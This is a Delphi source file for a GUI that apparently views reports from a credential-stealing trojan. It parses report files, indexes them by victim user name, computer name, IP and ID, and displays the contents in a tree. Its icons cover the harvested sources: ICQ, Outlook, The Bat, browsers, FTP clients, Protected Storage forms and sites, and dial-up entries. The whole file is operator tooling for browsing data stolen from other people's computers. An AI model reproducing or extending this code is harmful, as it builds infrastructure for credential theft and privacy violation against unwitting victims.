unit Main;

interface

uses
  Windows, Messages, SysUtils, Variants, Classes, Graphics, Controls, Forms,
  Dialogs, StdCtrls, Mod_Common, WinSock, ExtCtrls, OleCtrls, SHDocVw, ShellAPI,
  ComCtrls, xBase, Menus, ImgList, ActiveX, MyDB, Mod_SysInfo, XPMan;

type
  TMainForm = class(TForm)
    TreeView: TTreeView;
    WebBrowser: TWebBrowser;
    Splitter1: TSplitter;
    WebMenu: TPopupMenu;
    WebSave: TMenuItem;
    TreeViewImageList: TImageList;
    Splitter2: TSplitter;
    ListView: TListView;
    XPManifest1: TXPManifest;
    procedure FormCreate(Sender: TObject);
    procedure WebSaveClick(Sender: TObject);
    procedure TreeViewChange(Sender: TObject; Node: TTreeNode);
    procedure FormDestroy(Sender: TObject);
    procedure TreeViewCollapsed(Sender: TObject; Node: TTreeNode);
    procedure TreeViewExpanded(Sender: TObject; Node: TTreeNode);
    procedure ListViewData(Sender: TObject; Item: TListItem);
    procedure ListViewChange(Sender: TObject; Item: TListItem;
      Change: TItemChange);
  private
    FHtmlDocument: THTMLDocument;
    FParser: TModuleParser;
  public
    { Public declarations }
  end;

var
  MainForm: TMainForm;
  DBM: TDBManager;

implementation

{$R *.dfm}
{$R Resources.res}

procedure AddBitmapFromResource(List: TImageList; const ResName: String; Masked: Boolean = True);
var
  ABitmap: TBitmap;
begin
  ABitmap := TBitmap.Create;
  ABitmap.LoadFromResourceName(0, ResName);
  if Masked then
    List.AddMasked(ABitmap, ABitmap.Canvas.Pixels[0, 0])
  else
    List.Add(ABitmap, nil);
  ABitmap.Free;
end;

procedure AddBitmapFromResourceColor(List: TImageList; const ResName: String; Color: TColor);
var
  ABitmap: TBitmap;
begin
  ABitmap := TBitmap.Create;
  ABitmap.LoadFromResourceName(0, ResName);
  List.AddMasked(ABitmap, Color);
  ABitmap.Free;
end;

procedure TMainForm.FormCreate(Sender: TObject);
var
  i, DbResult: Integer;
  P: TModuleParser;
  M: TMemoryStream;
  Idx: TIndexRecord;
begin
  DBM := TDBManager.Create('C:\db.dat', 'C:\db.idx');

  FHtmlDocument := THTMLDocument.Create(WebBrowser);

  AddBitmapFromResource(TreeViewImageList, 'ICON_BASE');
  AddBitmapFromResource(TreeViewImageList, 'ICON_CPU');
  AddBitmapFromResource(TreeViewImageList, 'ICON_USER');
  AddBitmapFromResource(TreeViewImageList, 'ICON_MEMORY');
  AddBitmapFromResource(TreeViewImageList, 'ICON_OS', False);
  AddBitmapFromResource(TreeViewImageList, 'ICON_ICQ');
  AddBitmapFromResource(TreeViewImageList, 'ICON_THEBAT', False);
  AddBitmapFromResource(TreeViewImageList, 'ICON_MIRANDA');
  AddBitmapFromResource(TreeViewImageList, 'ICON_FAR', False);
  AddBitmapFromResource(TreeViewImageList, 'ICON_OUTLOOK');
  AddBitmapFromResource(TreeViewImageList, 'ICON_IE');
  AddBitmapFromResource(TreeViewImageList, 'ICON_TRILLIAN');
  AddBitmapFromResource(TreeViewImageList, 'ICON_ICQB');
  AddBitmapFromResource(TreeViewImageList, 'ICON_DISK');
  AddBitmapFromResource(TreeViewImageList, 'ICON_REMDISK');
  AddBitmapFromResource(TreeViewImageList, 'ICON_NETDISK');
  AddBitmapFromResource(TreeViewImageList, 'ICON_CDROM');
  AddBitmapFromResource(TreeViewImageList, 'ICON_RAS');
  AddBitmapFromResource(TreeViewImageList, 'ICON_IP');
  AddBitmapFromResource(TreeViewImageList, 'ICON_PS_FORMS');
  AddBitmapFromResourceColor(TreeViewImageList, 'ICON_PROGS_INSTALL', clBlack);
  AddBitmapFromResource(TreeViewImageList, 'ICON_TASKS');
  AddBitmapFromResource(TreeViewImageList, 'ICON_WS_FTP');
  AddBitmapFromResourceColor(TreeViewImageList, 'ICON_PS_FTP', clBlack);
  AddBitmapFromResource(TreeViewImageList, 'ICON_BECKY');
  AddBitmapFromResource(TreeViewImageList, 'ICON_EDIALER');
  AddBitmapFromResource(TreeViewImageList, 'ICON_PS_SITES');
  AddBitmapFromResource(TreeViewImageList, 'ICON_CUTE_FTP');
  AddBitmapFromResource(TreeViewImageList, 'ICON_OPERA');
  AddBitmapFromResourceColor(TreeViewImageList, 'ICON_OPERA_MAIL', clWhite);
  AddBitmapFromResource(TreeViewImageList, 'ICON_RQ');
  AddBitmapFromResource(TreeViewImageList, 'ICON_TOTAL', False);
  AddBitmapFromResource(TreeViewImageList, 'ICON_FOLDERS');
  AddBitmapFromResource(TreeViewImageList, 'ICON_MOZILLA');

  P := TModuleParser.Create(TreeView);
  try
    P.LoadFromFile('C:\out.bin');
    P.RunAll;

    if P.Error <> 0 then
      FHtmlDocument.Add('Parser Error: ' + '<' + P.ErrClassName + '> ' + P.ErrorToStr(P.Error))
    else begin
      M := P.ExportAll;
      if M <> nil then begin
        for i := 0 to P.ModuleList.Count-1 do
          if TModule(P.ModuleList.Items[i]).ModuleID = MODULE_SYSINFO then begin
            Idx.Ident := DB_IDENT;
            Idx.Flags := 0;
            StrPLCopy(Idx.Name, String(TModuleSysInfo(P.ModuleList.Items[i]).UserName +
            ' [' + TModuleSysInfo(P.ModuleList.Items[i]).ComputerName + ']'), INDEX_MAX_NAME_LEN);
            Idx.AddDate := Now;
            Idx.RepDate := TModuleSysInfo(P.ModuleList.Items[i]).RepTime;
            Idx.Hash := P.Hash;
            Idx.IP := TModuleSysInfo(P.ModuleList.Items[i]).IP;
            Idx.UID := TModuleSysInfo(P.ModuleList.Items[i]).UID;
            Idx.DataLen := M.Size;
            DbResult := DBM.Add(Idx, M.Memory);

            if DBM.Error <> 0 then
              FHtmlDocument.Add('DBManager Error: ' + DBM.ErrorToStr(DBM.Error))
            else begin
              if DbResult = -1 then begin
                FHtmlDocument.Add('Added successfully');
              end else
                FHtmlDocument.Add('Dupe detected');
            end;

            Break;
          end;

        M.Free;
      end;
    end;
  except
    FHtmlDocument.Add('Parser Error: Unknown Exception');
  end;
  P.Free;

  FHtmlDocument.Show;

  if DBM.Error = 0 then
    ListView.Items.Count := DBM.IndexList.Count;
end;

procedure TMainForm.FormDestroy(Sender: TObject);
begin
  FHtmlDocument.Free;
  DBM.Free;
  if FParser <> nil then begin
    FParser.Free;
    FParser := nil;
  end;
end;

procedure TMainForm.WebSaveClick(Sender: TObject);
begin
  FHtmlDocument.SaveToFile;
end;

procedure TMainForm.TreeViewChange(Sender: TObject; Node: TTreeNode);
  function FlattenTree: String;
  var
    N: TTreeNode;
  begin
    Result := '';
    N := Node;
    while N <> nil do begin
      Result := N.Text + ' - ' + Result;
      N := N.Parent;
    end;
    Delete(Result, Length(Result)-2, 2);
  end;
begin
  if Node.Data <> nil then begin
    FHtmlDocument.Clear;
    FHtmlDocument.Add('<span class="name">' + FlattenTree + '</span><hr size=1><br>' + StrPas(Node.Data));
    FHtmlDocument.Show;
  end;
end;

procedure TMainForm.TreeViewCollapsed(Sender: TObject; Node: TTreeNode);
begin
  if Node.ImageIndex = ICON_FOLDER_OPENED then
    Node.ImageIndex := ICON_FOLDER_CLOSED;
  if Node.SelectedIndex = ICON_FOLDER_OPENED then
    Node.SelectedIndex := ICON_FOLDER_CLOSED;
end;

procedure TMainForm.TreeViewExpanded(Sender: TObject; Node: TTreeNode);
begin
  if Node.ImageIndex = ICON_FOLDER_CLOSED then
    Node.ImageIndex := ICON_FOLDER_OPENED;
  if Node.SelectedIndex = ICON_FOLDER_CLOSED then
    Node.SelectedIndex := ICON_FOLDER_OPENED;
end;

procedure TMainForm.ListViewData(Sender: TObject; Item: TListItem);
var
  Index: TIndexRecord;
  inaddr: in_addr;
begin
  Index := DBM.Get(ListView.Items.Count-Item.Index-1);
  if DBM.Error = 0 then begin
    Item.Caption := IntToStr(Item.Index);
    Item.SubItems.Add(Index.Name);
    inaddr.S_addr := Index.IP;
    Item.SubItems.Add(inet_ntoa(inaddr));
    Item.SubItems.Add(DateTimeToStr(Index.RepDate));
    Item.SubItems.Add(DateTimeToStr(Index.AddDate));
    Item.SubItems.Add(IntToHex(Index.UID, 8));
    Item.SubItems.Add(IntToStr(Index.DataLen));
  end;
end;

procedure TMainForm.ListViewChange(Sender: TObject; Item: TListItem;
  Change: TItemChange);
var
  Index: TIndexRecord;
  Data: Pointer;
  M: TMemoryStream;
  i: Integer;
begin
  if (Change = ctState) and (ListView.ItemFocused <> nil) and (ListView.Selected <> nil) then begin
    FHtmlDocument.Clear;  
    Index := DBM.GetData(ListView.Items.Count-Item.Index-1, Data);
    if DBM.Error = 0 then begin
      M := TMemoryStream.Create;

      M.WriteBuffer(Data^, Index.DataLen);

      TreeView.Items.BeginUpdate;
      if FParser <> nil then FParser.Free;
      FParser := TModuleParser.Create(TreeView);
      try
        FParser.ImportAll(M);
        if FParser.Error <> 0 then
          FHtmlDocument.Add('Parser Error: ' + '<' + FParser.ErrClassName + '> ' + FParser.ErrorToStr(FParser.Error))
        else begin
          for i := 0 to FParser.ModuleList.Count-1 do
            TModule(FParser.ModuleList.Items[i]).GetAsTree;
        end;
      except
        FHtmlDocument.Add('Parser Error: Unknown Exception');
      end;
      TreeView.Items.EndUpdate;      

      M.Free;
    end else
      FHtmlDocument.Add('DBManager Error: ' + DBM.ErrorToStr(DBM.Error));

    if Data <> nil then
      FreeMem(Data);

    FHtmlDocument.Show;      
  end;
end;

initialization
  OleInitialize(nil);

finalization
  OleUninitialize;

end.
